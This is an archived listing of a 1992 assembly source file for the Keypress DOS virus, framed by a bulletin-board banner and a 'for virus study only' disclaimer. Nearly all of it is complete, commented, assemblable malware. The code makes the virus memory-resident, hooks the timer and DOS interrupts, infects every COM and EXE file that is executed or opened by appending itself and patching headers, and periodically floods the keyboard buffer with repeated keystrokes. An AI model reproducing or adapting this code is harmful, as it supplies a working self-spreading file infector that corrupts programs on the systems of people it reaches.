home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / KEYPRESS.ASM < prev    next >
Assembly Source File  |  1992-03-08  |  29KB  |  740 lines

  1. ;****************************************************************************;
  2. ;                                                                            ;
  3. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  4. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  5. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  6. ;                     -=]                            [=-                     ;
  7. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  8. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  9. ;                     -=]                            [=-                     ;
  10. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  11. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  12. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  13. ;                                                                            ;
  14. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  15. ;                                                                            ;
  16. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  17. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  18. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  19. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  20. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  21. ; Is. Keep This Code in Responsible Hands!                                   ;
  22. ;                                                                            ;
  23. ;****************************************************************************;
  24. ;********************************************************
  25. ; Source code of the Keypress Virus - Made by XSTC
  26. ; Made in A86 v3.07
  27. ;
  28. ; The Keypress Virus installs itself in top of DOS
  29. ; memory, without using DOS resident functions. It will
  30. ; hook int 1Ch (timer) and 21h (DOS) and will copy every
  31. ; 10 minutes during 2 seconds the keys you press five
  32. ; times (so if you press '1' it will be '111111') - if
  33. ; you press no key, it will usually give ESCs.
  34. ;
  35. ; In DOS 3+ it spreads to every file executed - so it
  36. ; can, besides COM/EXE, infect DRV/OVL/etc.
  37. ; It also spreads itself in DOS 1 and 2 with a special
  38. ; routine - in this case only COM/EXE files will be
  39. ; infected.
  40. ;
  41. ; It adds, after making full paragraphs of the file
  42. ; length, 1232 bytes to COM-files and 1216 to EXE.
  43. ;
  44. ; This code is only made to show the possibilities and
  45. ; dangers of a virus. It is only intended for research
  46. ; purposes - spreading a virus is prohibited by law.
  47. ;
  48. ; NOTE - The compiled code is not 100% compatible with
  49. ; the Keypress virus. A86 compiles the 'ADD BX,AX' and
  50. ; 'MOV DI,SI' different. This has totally no effect
  51. ; on the program.
  52. ;********************************************************
  53.  
  54. ; After compiling the new virus, enter the new size in paragraphs in VirParSize
  55. ; and compile again.
  56.  
  57. VirParSize    equ 4Ch                      ; Size of the original KeyPress virus
  58.  
  59. VirStart:     jmp long VirBegin
  60.               db 0
  61.  
  62. ComStart:     mov bx,cs               ; When the virus has infected a .COM file,
  63.               add bx,[102h]           ; this is the jump to the virus. Actually,
  64.               push bx                   ; this code is overwritten with the code
  65.               mov bx,offset VirBegin                  ; in the end of the virus.
  66.               push bx
  67.               retf
  68.  
  69. EB02          dw 02EBh                  ; 'jmp 104' - first 2 bytes in .COM file
  70.  
  71. VirSize       dw VirParSize shl 4                  ; Size of virus in whole pars
  72.  
  73. VirPars       dw VirParSize + 1                        ; Size of virus in pars+1
  74.  
  75. MaxComSize    dw 0FF00h-VirParSize  ; Max. size .COM file to infect (100h stack)
  76.  
  77. Com_or_exe    db 00h                                ; 0 = Com-File, 1 = Exe-File
  78. R_Ax          dw (?)
  79. R_Bx          dw (?)
  80. R_Cx          dw (?)
  81. R_Dx          dw (?)
  82. R_Di          dw (?)
  83. R_Si          dw (?)
  84. R_Bp          dw (?)
  85. R_Es          dw (?)
  86. R_Ds          dw (?)
  87. R_SS          dw (?)
  88. R_SP          dw (?)
  89.  
  90. Exe_CS        dw (?)
  91. Exe_IP        dw (?)
  92.  
  93.  
  94. VirBegin:     call Save_Regs                                    ; Start of virus
  95.               call Fix_cs_ss      ; Fix CS and SS of orig. prog (for .EXE files)
  96.               call Get_cs_ip                    ; Get CS and IP of original prog
  97.               call Check_res                      ; Check virus already resident
  98.               jb Exit_inst                                           ; Yes, quit
  99.  
  100.               call Inst_mem                                  ; Install in memory
  101.               jb Exit_inst                                         ; Error, quit
  102.  
  103.               call Inst_ints                                   ; Hook interrupts
  104. Exit_Inst:    jmp short Rst_regs_prg
  105.               nop
  106.  
  107. Jmp_Prg:      db 0EAh                                 ; Jump to original program
  108. PrgOfs        dw (?)
  109. PrgSeg        dw (?)
  110.  
  111. Check_res:    push ds
  112.               xor bx,bx
  113.               mov ds,bx
  114.               mov bx,600h                                ; Unused word in memory
  115.               cmp word ptr [bx],1                           ; Already installed?
  116.               jz Installed                                                 ; Yes
  117.  
  118.               mov word ptr [bx],1                                           ; No
  119.               stc
  120.  
  121. Installed:    cmc
  122.               pop ds
  123.               ret
  124.  
  125.  
  126. ;*** For .EXE: Fix orig-prog CS and SS ***
  127.  
  128. Fix_cs_ss:    test byte ptr [Com_or_exe],1
  129.               jz no_exe
  130.  
  131.               mov ax,es
  132.               add ax,10h
  133.               add Exe_cs,ax
  134.               add R_ss,ax
  135.  
  136. No_Exe:       ret
  137.  
  138.  
  139. ;*** Get CS + IP of orig. program, and for .COM: Restore first 16 bytes ***
  140.  
  141. Get_cs_ip:    mov ax,[Exe_cs]
  142.               mov bx,[Exe_ip]
  143.               test byte ptr [Com_or_exe],1
  144.               jnz No_rest                 ; .EXE file: no restore of first bytes
  145.  
  146.               mov ax,es
  147.               mov bx,100h
  148.               mov cx,10h
  149.               mov si,offset First_bytes
  150.               mov di,100h
  151.               cld
  152.               repz                          ; Restore first 16 bytes (.COM file)
  153.               movsb
  154.  
  155. No_rest:      mov [Prgseg],ax
  156.               mov [Prgofs],bx
  157.               ret
  158.  
  159.  
  160. ;*** Proc: Save the registers to restore them after the virus has ended ***
  161.  
  162. Save_Regs:    mov cs:R_ds,ds
  163.               push cs
  164.               pop ds
  165.               mov R_ax,ax
  166.               mov R_bx,bx
  167.               mov R_cx,cx
  168.               mov R_dx,dx
  169.               mov R_di,di
  170.               mov R_si,si
  171.               mov R_bp,bp
  172.               mov R_es,es
  173.               ret
  174.  
  175.  
  176. ;*** Restore regs for original program ***
  177.  
  178. Rst_regs_prg: mov ax,R_ax
  179.               mov bx,R_bx
  180.               mov cx,R_cx
  181.               mov dx,R_dx
  182.               mov bp,R_bp
  183.               mov di,R_di
  184.               mov si,R_si
  185.               mov es,R_es
  186.               test byte ptr [Com_or_exe],1
  187.               jz No_StackRest                  ; No stack restore for .COM files
  188.  
  189.               cli
  190.               mov ss,[R_ss]                                 ; Restore .EXE stack
  191.               mov sp,[R_sp]
  192.               sti
  193.  
  194. No_StackRest: mov ds,R_ds
  195.               jmp short jmp_prg
  196.  
  197.  
  198. ;*** Restore regs for interrupts ***
  199.  
  200. Rst_regs_int: mov ax,R_ax
  201.               mov bx,R_bx
  202.               mov cx,R_cx
  203.               mov dx,R_dx
  204.               mov bp,R_bp
  205.               mov di,R_di
  206.               mov si,R_si
  207.               mov es,R_es
  208.               mov ds,R_ds
  209.               ret
  210.  
  211.  
  212. ;*** Proc: Search for last MCB ***
  213.  
  214. Last_MCB:     push ds
  215.               mov bx,es
  216.               dec bx
  217.  
  218. Next_MCB:     mov ds,bx
  219.               cmp byte ptr [0],5Ah                                   ; Last MCB?
  220.               jz Is_last                                                   ; Yes
  221.               inc bx
  222.               add bx,[3]                                            ; Go to next
  223.               cmp bx,0A000h                                            ; In ROM?
  224.               jb Next_MCB                                     ; No, try next one
  225.  
  226. Is_Last:      pop ds
  227.               ret
  228.  
  229.  
  230. ;*** Proc: Install virus in end of memory ***
  231.  
  232. Inst_Mem:     call Last_mcb                                    ; Search last MCB
  233.               cmp bx,0A000h                                            ; In ROM?
  234.               jb Not_ROM                                          ; No, continue
  235.  
  236. No_Inst:      push cs                                                ; Yes, quit
  237.               pop ds
  238.               stc                                   ; Error, virus not installed
  239.               ret
  240.  
  241. Not_ROM:      mov ds,bx
  242.               mov ax,[3]                                    ; AX = Size last MCB
  243.               sub ax,cs:[VirPars]                      ; - (Virussize in pars+1)
  244.               jbe no_inst                              ; Not enough memory, quit
  245.               cmp ax,800h
  246.               jb no_inst                        ; Less than 2048 pars free, quit
  247.               mov [3],ax              ; Give program less space to install virus
  248.               add bx,ax
  249.               inc bx                                ; BX = seg where virus comes
  250.               mov es:[2],bx            ; Enter in PSP, program not allowed there
  251.               sub bx,10h                     ; - 10h pars (virus starts at 100h)
  252.               push bx
  253.               push cs
  254.               pop ds
  255.               pop es
  256.               mov si,100h
  257.               mov di,si
  258.               mov cx,[VirSize]                                  ; CX = virussize
  259.               cld
  260.               repz                                 ; Copy virus to virus-segment
  261.               movsb
  262.               clc                                    ; No error, virus installed
  263.               ret
  264.  
  265.  
  266. ;*** Install new interrupts (1C - Timer Tick, 21 - DOS) ***
  267.  
  268. Inst_Ints:    push es
  269.               pop ds
  270.               mov word ptr [Ticks],0
  271.               mov ax,351Ch                                 ; Get Addr Timer Tick
  272.               int 21h
  273.               mov I1c_ofs,bx
  274.               mov I1c_seg,es
  275.               mov ax,3521h                                    ; Get Addr DOS-Int
  276.               int 21h
  277.               mov I21_ofs,bx
  278.               mov I21_seg,es
  279.               mov ax,251Ch
  280.               mov dx,offset New_I1c
  281.               int 21h                               ; Install New Timer-Tick Int
  282.               mov dx,offset I21_dos12
  283.               push dx
  284.               mov ah,30h                                       ; Get DOS-Version
  285.               int 21h
  286.               pop dx
  287.               cmp al,3                                              ; Below 3.0?
  288.               jb DosBel3
  289.               mov dx,offset new_I21                                ; No, new int
  290. DosBel3:      mov ax,2521h                                 ; Install new DOS-Int
  291.               int 21h
  292.               push cs
  293.               pop ds
  294.               ret
  295.  
  296.  
  297. ;*** Proc: NEW 1C (TIMER TICK) INTERRUPT ***
  298. ; Every 10 minutes this routine sends during 2 sec. 180 extra keys to the
  299. ; keyboard-interrupt.
  300.  
  301. Ticks         dw (?)
  302.  
  303. New_I1c:      inc word ptr cs:[Ticks]     ; Increment 'Ticks after virus loaded'
  304.               cmp word ptr cs:[Ticks],2A30h                 ; 10 minutes passed?
  305.               jb org_I1c                                   ; No, go to orig. I1c
  306.               cmp word ptr cs:[Ticks],2A54h                     ; 2 sec. passed?
  307.               jbe screw_keys                                ; Not yet, give ESCs
  308.               mov word ptr cs:[Ticks],0                      ; Time-counter to 0
  309.               jmp short Org_I1c                                ; Go to orig. I1c
  310. Screw_Keys:   push cx
  311.               mov cx,5                                          ; 5 times / tick
  312. Put_Key:      int 9                                             ; Give extra key
  313.               loop Put_key
  314.               pop cx
  315. Org_I1c:      db 0EAh                                    ; Jump far to orig. I1c
  316. I1c_Ofs       dw (?)
  317. I1c_Seg       dw (?)
  318.  
  319. New_I24:      mov al,0
  320.  
  321. New_I23:      iret
  322.  
  323. I23_Ofs       dw (?)
  324. I23_Seg       dw (?)
  325.  
  326. I24_Ofs       dw (?)
  327. I24_Seg       dw (?)
  328.  
  329. ProgSize      dw (?)                                ; Program size in paragraphs
  330.  
  331. New_I21:      cmp ax,4B00h                             ; New DOS Int for DOS 3 +
  332.               jz Is_Start
  333.               jmp far dword ptr cs:[I21_Ofs]                    ; Jmp orig. I 21
  334. Is_Start:     call Save_Regs
  335.               call InstCritInt               ; Install new ^c and crit. err. int
  336.               mov ax,3D02h                        ; Open file for read and write
  337.               mov ds,R_Ds
  338.               int 21h
  339.               push cs
  340.               pop ds
  341.               jc Close_File
  342.               mov bx,ax
  343.               call Read_header
  344.               jc Close_File
  345.               call Write_virus
  346.               jc Close_File
  347.               call Write_header
  348. Close_File:   mov ah,3Eh                                            ; Close file
  349.               int 21h
  350.               call RestCritInt                    ; Restore ^c and crit-err ints
  351.               call Rst_regs_int
  352.               jmp far dword ptr cs:[I21_Ofs]
  353.  
  354. I21_Dos12:    cmp ah,3Dh                       ; New DOS-Int for DOS 1.x and 2.x
  355.               jz Is_Open
  356.  
  357. JmpDos:       db 0EAh                                                 ; Jump Far
  358. I21_Ofs       dw (?)
  359. I21_Seg       dw (?)
  360.  
  361. Is_Open:      push ax                                           ; Network-flags?
  362.               and al,0FCh
  363.               pop ax
  364.               jnz JmpDos                                            ; Yes -> DOS
  365.  
  366.               call Save_Regs
  367.  
  368.               call InstCritInt               ; Install new ^c and crit. err. int
  369.  
  370.               mov DS,R_Ds
  371.               or al,2                                             ; Write access
  372.               pushf
  373.               cli
  374.               call far cs:[I21_Ofs]                                  ; Open file
  375.               push cs
  376.               pop ds
  377.               jc Open_Error                               ; Error opening -> DOS
  378.  
  379.               pushf
  380.               mov [R_Ax],ax                                        ; Save handle
  381.               mov bx,ax
  382.  
  383.               call Chk_Inf                         ; Check infection is possible
  384.               jc No_Infect                                          ; No -> quit
  385.  
  386.               call Read_header
  387.               jc No_Infect
  388.  
  389.               call Write_virus
  390.               jc No_Infect
  391.               call Write_header
  392. No_Infect:    call Go_file_beg                             ; Go to begin of file
  393.               call RestCritInt                    ; Restore ^c and crit-err ints
  394.               call Rst_regs_int
  395.               popf
  396.               retf 2
  397. Open_Error:   call RestCritInt                    ; Restore ^c and crit-err ints
  398.               call Rst_regs_int
  399.               jmp short JmpDos
  400.  
  401.  
  402. ;*** Proc: Buffer for header of program to infect ***
  403.  
  404. Head_buf      dw 0Ch dup (?)
  405.  
  406.  
  407. ;*** Proc: Install new ^C and crit. err. interrupt ***
  408.  
  409. InstCritInt:  push ax
  410.               push bx
  411.               push dx
  412.               push ds
  413.               push es
  414.               push cs
  415.               pop ds
  416.               mov ax,3523h                             ; Get Ctrl-Break Int Addr
  417.               int 21h
  418.               mov I23_Ofs,bx
  419.               mov I23_Seg,es
  420.               mov ax,3524h                              ; Get Crit. Err Int Addr
  421.               int 21h
  422.               mov I24_Ofs,bx
  423.               mov I24_Seg,es
  424.               mov ax,2523h
  425.               mov dx,offset New_I23                 ; Install new Ctrl-Break Int
  426.               int 21h
  427.               mov ax,2524h                           ; Install new Crit. Err Int
  428.               mov dx,offset New_I24
  429.               int 21h
  430.               pop es
  431.               pop ds
  432.               pop dx
  433.               pop bx
  434.               pop ax
  435.               ret
  436.  
  437.  
  438. ;*** Proc: Restore orig. ctrl-break and crit. err. interrupt ***
  439.  
  440. RestCritInt:  mov ax,2524h                           ; Rest. orig. crit. err int
  441.               lds dx,dword ptr cs:[I24_Ofs]
  442.               int 21h
  443.               mov ax,2523h                          ; Rest. orig. ctrl-break int
  444.               lds dx,dword ptr cs:[I23_Ofs]
  445.               int 21h
  446.               push cs
  447.               pop ds
  448.               ret
  449.  
  450.  
  451. ;*** Read header of file ***
  452.  
  453. Read_header:  mov ah,3Fh
  454.               mov dx,offset Head_buf
  455.               mov cx,18h
  456.               int 21h
  457.               jc HeadRead_Err                      ; Error reading, don't infect
  458.  
  459.               call Check_infect ; Check file already infected; if not, save data
  460.               jc HeadRead_Err                                      ; Error, quit
  461.  
  462.               call Calc_data                  ; Calculate data for infected file
  463.               jc HeadRead_Err                                      ; Error, quit
  464.  
  465. HeadRead_Err: ret
  466.  
  467.  
  468. ;*** Proc: Write virus, and for .COM files, write first 16 bytes behind virus ***
  469.  
  470. Write_virus:  mov ah,40h                            ; Write virus behind program
  471.               mov cx,[VirSize]
  472.               mov dx,100h
  473.               int 21h
  474.               jc Err_Writ                                    ; Write error, quit
  475.               cmp ax,cx
  476.               jnz Err_Writ                                   ; '   ' '   '  '  '
  477.               test byte ptr [Com_or_exe],1
  478.               jz First_Write
  479.               ret
  480.  
  481. First_Write:  mov ah,40h                 ; Write orig. 1st 16 bytes behind virus
  482.               mov cx,10h
  483.               mov dx,offset Head_buf
  484.               int 21h
  485.               jc Err_Writ                                    ; Write error, quit
  486.               cmp ax,cx
  487.               jnz Err_Writ                                   ; '   ' '   '  '  '
  488.               clc                                      ; End procedure, no error
  489.               ret
  490.  
  491. Err_Writ:     stc                                         ; End procedure, error
  492.               ret
  493.  
  494.  
  495. ;*** Proc: .COM: Write jump-to-virus, .EXE: Write header ***
  496.  
  497. Write_header: call Go_file_beg                             ; Go to begin of file
  498.               test byte ptr [Com_or_exe],1                          ; .EXE-file?
  499.               jnz Exe_header
  500.               mov ah,40h                             ; .COM file - Write 'EB 02'
  501.               mov cx,2
  502.               mov dx,offset EB02
  503.               int 21h
  504.               mov ah,40h                            ; Write program-size in pars
  505.               mov cx,2
  506.               mov dx,offset ProgSize
  507.               int 21h
  508.               mov ah,40h                          ; Write rest of begin of virus
  509.               mov cx,0Ch
  510.               mov dx,104h
  511.               int 21h
  512.               ret
  513.  
  514. Exe_header:   mov ah,40h                                         ; Write in File
  515.               mov cx,18h
  516.               mov dx,offset Head_buf
  517.               int 21h
  518.               ret
  519.  
  520.  
  521. ;*** Proc: Change file pointer ***
  522.  
  523. Cng_file_ptr: mov ax,4200h
  524.               int 21h
  525.               ret
  526.  
  527.  
  528. ;*** Proc: Go to begin of file ***
  529.  
  530. Go_file_beg:  xor cx,cx                                        ; Filepointer = 0
  531.               xor dx,dx
  532.               call Cng_file_ptr                            ; Change File Pointer
  533.               ret 
  534.  
  535.  
  536. ;*** Proc: Check file is already infected ***
  537.  
  538. Check_infect: mov si,104h
  539.               mov di,offset Head_buf+4
  540.               push cs
  541.               pop es
  542.               mov byte ptr [Com_or_exe],0                        ; Flag for .COM
  543.               cmp word ptr [di-04],5A4Dh                              ; Is .EXE?
  544.               jz Is_Exe
  545.               mov cx,0Ch                                         ; No, .COM file
  546.               cld
  547.               repz                                           ; Already infected?
  548.               cmpsb
  549.               jnz Do_Infect                                            ; Not yet
  550. Dont_Infect:  stc
  551.               ret
  552. Do_Infect:    clc
  553.               ret
  554. Is_Exe:       mov byte ptr [Com_or_exe],1                        ; Flag for .EXE
  555.               mov cx,[offset Head_buf+14h]                        ; cx = Prog-IP
  556.               cmp cx,offset VirBegin                           ; Same as Vir-IP?
  557.               jz Dont_Infect                                         ; Yes, quit
  558.               cmp word ptr [offset Head_buf+0Ch],0           ; Max extra pars=0?
  559.               jz Dont_Infect                                         ; Yes, quit
  560.               mov [Exe_ip],cx                                     ; Save prog-IP
  561.               mov cx,[Head_buf+16h]
  562.               mov [Exe_cs],cx                                     ; Save prog-cs
  563.               mov cx,[Head_buf+0Eh]
  564.               mov [R_ss],cx                                       ; Save prog-SS
  565.               mov cx,[Head_buf+10h]
  566.               mov [R_sp],cx                                       ; Save prog-SP
  567.               jmp short Do_Infect
  568.  
  569.  
  570. ;*** Proc: Calculate data for infection ***
  571.  
  572. Calc_data:    mov ax,4202h                                           ; Go to EOF
  573.               xor cx,cx
  574.               xor dx,dx
  575.               int 21h
  576.               test al,0Fh         ; Size mod 16 = 0 (File is exact x paragraps)?
  577.               jz No_par_add                            ; Yes, no extra par added
  578.               add ax,10h                                         ; Add paragraph
  579.               adc dx,0                                      ; Overflow -> Inc dx
  580.               and ax,0FFF0h                                    ; Make paragraphs
  581. No_par_add:   test byte ptr [Com_or_exe],1
  582.               jnz Calc_exe
  583.               or dx,dx
  584.               jnz not_infect
  585.               cmp ax,[maxcomsize]                                ; File too big?
  586.               ja not_infect                                          ; Yes, quit
  587.               cmp ax,[VirSize]                                 ; File too small?
  588.               jbe Not_Infect                                         ; Yes, quit
  589.               mov [ProgSize],ax                              ; Save program-size
  590.               mov cl,4
  591.               shr word ptr [ProgSize],cl                         ; In paragraphs
  592.               mov dx,ax
  593.               xor cx,cx
  594.               call Cng_file_ptr                                      ; Go to EOF
  595.               clc
  596.               ret
  597. Not_Infect:   stc
  598.               ret
  599.  
  600. Calc_exe:     push ax
  601.               push dx
  602.               add ax,100h                                      ; 100 bytes stack
  603.               adc dx,0                                       ; Overflow - inc dx
  604.               mov cx,dx
  605.               mov dx,ax
  606.               call Cng_file_ptr                                      ; Go to EOF
  607.               push bx
  608.               add ax,[VirSize]                                  ; New exe-length
  609.               adc dx,0
  610.               mov bx,200h                                    ; For header: / 512
  611.               div bx
  612.               or dx,dx
  613.               jz No_Correct
  614.               inc ax          ; Files below 2.000.000h bytes - length correction
  615. No_Correct:   mov [Head_buf+2],dx                         ; Save new file-length
  616.               mov [Head_buf+4],ax                         ; '  ' ' ' '  ' '    '
  617.               pop bx
  618.               pop dx
  619.               pop ax
  620.               call Calc_cs_ss
  621.               mov word ptr [Head_buf+10h],100h                    ; Prog-SP=100h
  622.               mov word ptr [Head_buf+14h],offset VirBegin          ; Set prog-IP
  623.               clc
  624.               ret
  625.  
  626.  
  627. ;*** Proc: Calculate new CS and SS for .EXE file ***
  628.  
  629. Calc_cs_ss:   push cx
  630.               mov cx,4
  631. Cs_ss_lp:     shr dx,1
  632.               rcr ax,1
  633.               loop Cs_ss_lp
  634.               sub ax,[Head_buf+8]                               ; Size of header
  635.               sbb dx,0
  636.               mov [Head_buf+0Eh],ax                               ; Save prog-SS
  637.               mov [Head_buf+16h],ax                               ; Save prog-cs
  638.               pop cx
  639.               ret
  640.  
  641.  
  642. ;*** Check infection is possible ***
  643.  
  644. Chk_Inf:      call Chk_exec                           ; Check file is executable
  645.               jb Not_exec
  646.               call Get_attr                         ; Check file has no SYS attr
  647. Not_Exec:     ret
  648.  
  649.  
  650. ;*** Search-paths ***
  651.  
  652. Com_path      db '.COM',0
  653.  
  654. Exe_path      db '.EXE',0
  655.  
  656.  
  657. ;*** Check file is executable (.COM / .EXE)
  658.  
  659. Chk_Exec:     push es
  660.               mov es,R_ds
  661.               mov di,dx
  662.               xor al,al
  663.               mov cx,80h
  664.               cld
  665.               repnz                                                 ; Search '.'
  666.               scasb
  667.               jnz not_inf                                         ; No '.' found
  668.               dec di
  669.               push di
  670.               mov si,offset Com_path+4
  671.               mov cx,4
  672.               std
  673.               repz                                                ; Check '.COM'
  674.               cmpsb
  675.               pop di
  676.               jnz no_com                                               ; No .COM
  677.               clc
  678.               jmp short Infect
  679.               nop
  680. Not_Inf:      stc
  681.  
  682. Infect:       cld
  683.               pop es
  684.               ret
  685. No_Com:       mov si,offset Exe_path+4
  686.               mov cx,4
  687.               repz                                                ; Check '.EXE'
  688.               cmpsb
  689.               jnz not_inf                      ; No .EXE either - not executable
  690.               clc
  691.               jmp short infect
  692.  
  693. Get_Attr:     push ds
  694.               mov ax,4300h                                        ; Get FileAttr
  695.               xor cx,cx
  696.               mov ds,R_ds
  697.               int 21h
  698.               pop ds
  699.               jb Bad_Attr                                 ; Error - don't infect
  700.               test cx,4                                           ; System-Attr?
  701.               jnz Bad_Attr                                   ; Yes, don't infect
  702.               clc
  703.               ret
  704.  
  705. Bad_Attr:     stc
  706.               ret
  707.  
  708. First_bytes:  int 20h     ; First bytes of orig. program - here just 'Go to DOS'
  709.               dw (?)
  710.               mov bx,cs                                   ; Overwrites the begin
  711.               add bx,[102h]
  712.               push bx
  713.               mov bx,offset VirBegin
  714.               push bx
  715.               retf
  716.  
  717. ;****************************************************************************;
  718. ;                                                                            ;
  719. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  720. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  721. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  722. ;                     -=]                            [=-                     ;
  723. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  724. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  725. ;                     -=]                            [=-                     ;
  726. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  727. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  728. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  729. ;                                                                            ;
  730. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  731. ;                                                                            ;
  732. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  733. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  734. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  735. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  736. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  737. ; Is. Keep This Code in Responsible Hands!                                   ;
  738. ;                                                                            ;
  739. ;****************************************************************************;
  740.